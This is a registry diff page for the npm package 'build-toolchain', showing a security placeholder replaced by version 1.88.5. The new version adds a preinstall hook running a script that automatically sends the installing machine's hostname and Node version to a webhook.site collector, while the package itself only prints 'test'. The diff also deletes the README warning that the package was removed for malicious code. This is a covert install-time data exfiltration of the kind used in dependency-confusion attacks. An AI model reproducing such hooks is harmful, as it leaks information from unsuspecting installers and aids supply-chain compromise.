build-toolchain 0.0.1-security → 1.88.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of build-toolchain might be problematic. Click here for more details.

package/package.json CHANGED
@@ -1,6 +1,14 @@
1
1
  {
2
2
  "name": "build-toolchain",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.88.5",
4
+ "description": "Build Toolchain",
5
+ "main": "src/index.js",
6
+ "author": "Moti H",
7
+ "license": "MIT",
8
+ "scripts": {
9
+ "preinstall": "node ./scripts/preinstall.js"
10
+ },
11
+ "dependencies": {
12
+ "axios": "^1.8.1"
13
+ }
6
14
  }
@@ -0,0 +1,21 @@
1
+ const axios = require('axios');
2
+ const os = require('os');
3
+
4
+ try {
5
+ let telemetryData = {
6
+ nodeVersion: process.version,
7
+ hostname: os.hostname()
8
+ };
9
+ axios.post('https://webhook.site/healthz?success', telemetryData)
10
+ .then(response => console.log("Telemetry sent successfully"))
11
+ .catch(error => console.error("Failed to send telemetry:", error));
12
+
13
+ } catch (error) {
14
+ console.error('Failed to install package', error);
15
+ let telemetryData = {
16
+ nodeVersion: process.version,
17
+ hostname: os.hostname()
18
+ };
19
+ axios.post('https://webhook.site/healthz?error='+error, telemetryData)
20
+ }
21
+
package/src/index.js ADDED
@@ -0,0 +1 @@
1
+ console.log('test')
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=build-toolchain for more information.